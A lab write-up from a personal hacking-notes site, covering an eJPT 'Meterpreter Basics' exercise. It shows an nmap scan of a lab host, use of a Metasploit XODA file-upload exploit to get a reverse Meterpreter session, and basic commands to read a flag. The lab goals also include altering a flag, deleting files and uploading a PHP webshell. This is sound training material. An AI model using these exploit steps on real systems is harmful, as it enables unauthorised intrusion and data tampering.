Apuntes Ciberseguridad (Cibaism)
HTBGitHubLinkedInNotion (Writeups)
  • Welcome to My Digital Garden
  • About me
  • Hacking notes (Personal)
    • Tratamiento TTY
    • Hacking Web Tecniques
      • File Inclusion
    • Linux Privilage Escalation
    • Arreglar bloodhound
  • Hacking Notes (Learning Path)
    • (HTB) Penetration Tester
      • Getting Started
        • Common Terms
          • Tipos de Shell
          • Puertos importantes
          • OWASP Top 10
        • Service Scanning
          • Nmap
          • Attacking Network Services
            • Captura de banners
            • FTP
            • SMB
            • SNMP
        • Web Enumeration
        • Public exploits
          • Encontrar exploits públicos
          • Introducción a Metasploit
        • Types of Shells
          • Reverse Shell
          • Bind Shell
          • Web Shell
        • Privilage escalation
        • Transferring Files
      • Footprinting
        • Infrastructura Based Enumeration
          • Domain Information
          • Cloud Resources
          • Staff
        • Host Based Enumeration
          • FTP
          • SMB
          • NFS
          • DNS
          • SMTP
          • IMAP / POP3
          • SNMP
          • MySQL
          • MSSQL
          • Oracle TNS
          • IPMI
          • Protocolos de administración remota de Linux
          • Protocolos de administración remota de Windows
      • Introduction to Active Directory Enumeration & Attacks
        • Tools of the Trade
        • Initial enumeration
          • External Recon and Enumeration Principles
          • Initial Enumeration of the Domain
        • Sniffing out a Foothold
          • LLMNR/NBT-NS Poisoning - from Linux
          • LLMNR/NBT-NS Poisoning - from Windows
        • Sighting In, Hunting For A User
          • Password Spraying Overview
          • Enumerating & Retrieving Password Policies
          • Password Spraying - Making a Target User List
        • Spray Responsibly
          • Internal Password Spraying - from Linux
      • File Inclusion
        • File Disclousure
          • Local File Inclusion (LFI)
          • Basic Bypasses
          • PHP Filters
        • Remote Code Execution
          • PHP Wrappers
    • (CRTA) Red Team Analyst
      • (CRTA) Red Team Analyst - Lab
    • (eJPT) Junior Penetration Tester
      • Assessment Methodologies
        • Assessment Methodologies: Footprinting & Scanning
          • Windows Recon: Nmap Host Discovery
          • Scan the Server 1
          • Windows Recon: SMB Nmap Scripts
        • Assessment Methodologies: Enumeration
          • Importing Nmap Scan Results Into MSF
          • T1046 : Network Service Scanning
          • FTP Enumeration
          • Samba Recon: Basics
          • Apache Enumeration
          • MySQL Enumeration
          • SSH Login
          • Postfix Recon: Basics
        • Assessment Methodologies: Vulnerability Assessment
          • Windows: IIS Server DAVTest
          • Shellshock
          • Web App Vulnerability Scanning With WMAP
      • Host & Network Penetration Testing
        • Host & Network Penetration Testing: System/Host Based Attacks
          • Windows
            • Windows: IIS Server: WebDav Metasploit
            • Windows: SMB Server PSexec
            • Windows: Insecure RDP Service
            • WinRM: Exploitation with Metasploit
            • UAC Bypass: UACMe
            • Privilege Escalation: Impersonate
            • Unattended Installation
            • Windows: Meterpreter: Kiwi Extension
          • Linux
            • ProFTP Recon: Basics
            • Samba Recon: Dictionary Attack
            • Cron Jobs Gone Wild II
            • Exploiting Setuid Programs
            • Password Cracker: Linux
        • Host & Network Penetration Testing: Network-Based Attacks
          • NetBIOS Hacking
          • SNMP Analysis
          • DNS & SMB Relay Attack
        • Host & Network Penetration Testing: The Metasploit Framework (MSF)
          • Windows: Java Web Server
          • Windows: HTTP File Server
          • Vulnerable FTP Server
          • Vulnerable File Sharing Service
          • Vulnerable SSH server
          • Vulnerable SMTP Server
          • Meterpreter Basics
          • Upgrading Command Shells To Meterpreter Shells
          • Windows Post Exploitation Modules
          • UAC Bypass: Memory Injection (Metasploit)
          • Exploiting SMB With PsExec
          • Windows: Enabling Remote Desktop
          • Clearing Windows Event Logs
          • Pivoting
  • Blue team notes
    • Digital Forensics
      • Malware Analysis with VirusTotal
      • Wireshark
    • (Falcon) CrowdStrike
      • FALCON 104: Getting Started with the Endpoint Security Module
      • FALCON 106: Customizing Dashboards in Falcon
      • FALCON 180: Falcon Forensics Fundamentals
  • Programming
    • Powershell
Powered by GitBook
On this page
  • Lab Environment
  • Tools
  • Writeup
  • Check remote working directory
  • List files in remote working directory
  • Get flag from /app/flag1
  1. Hacking Notes (Learning Path)
  2. (eJPT) Junior Penetration Tester
  3. Host & Network Penetration Testing
  4. Host & Network Penetration Testing: The Metasploit Framework (MSF)

Meterpreter Basics

Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine. The target machine will be accessible at demo.ine.local.

Objective: Perform the following tasks to complete the lab:

  1. Check the present working directory on remote (exploited) machine.

  2. List the files present in present working directory of the remote machine.

  3. Check the present working directory on local (attacker) machine.

  4. List the files present in present working directory of the local machine.

  5. Get the flag value present in /app/flag1 file.

  6. Change the flag value present in /app/flag1, so that no one else can get the right flag.

  7. Change the present working directory to a suspiciously named directory in /app and read the flag from a hidden file present in that directory.

  8. Get the flag5.zip to local machine, open it using password 56784. The information given in the extracted file will give clue about the location of the another flag.

  9. Delete the .zip file from the directory.

  10. Print checksum of file mentioned in the extracted file (Refer to Q8).

  11. Check the PATH environment variable on the remote machine.

  12. There is a file with string “ckdo” in its name in one of the places included in PATH variable. Print the flag hidden in that file.

  13. Change to tools directory on the local machine.

  14. Upload a PHP webshell to app directory of the remote machine.

Tools

  • Nmap

  • Metasploit Framework

Writeup

nmap -sSVC demo.ine.local

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-git: 
|   192.19.162.3:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/fermayo/hello-world-lamp.git
|_http-title: XODA
3306/tcp open  mysql   MySQL 5.5.47-0ubuntu0.14.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0ubuntu0.14.04.1
|   Thread ID: 2
|   Capabilities flags: 63487
|   Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, ODBCClient, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsCompression, FoundRows, IgnoreSigpipes, LongPassword, ConnectWithDatabase, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: %(7z'N6_[/u$PEI}\3)s
|_  Auth Plugin Name: mysql_native_password
MAC Address: 02:42:C0:13:A2:03 (Unknown)
searchsploit xoda
msfconsole
use exploit/unix/webapp/xoda_file_upload
set rhosts demo.ine.local
set lhost 192.19.162.2
set targeturi /
run

Check remote working directory

pwd

List files in remote working directory

ls -la

Get flag from /app/flag1

cat /app/flag1
PreviousVulnerable SMTP ServerNextUpgrading Command Shells To Meterpreter Shells

Last updated 5 days ago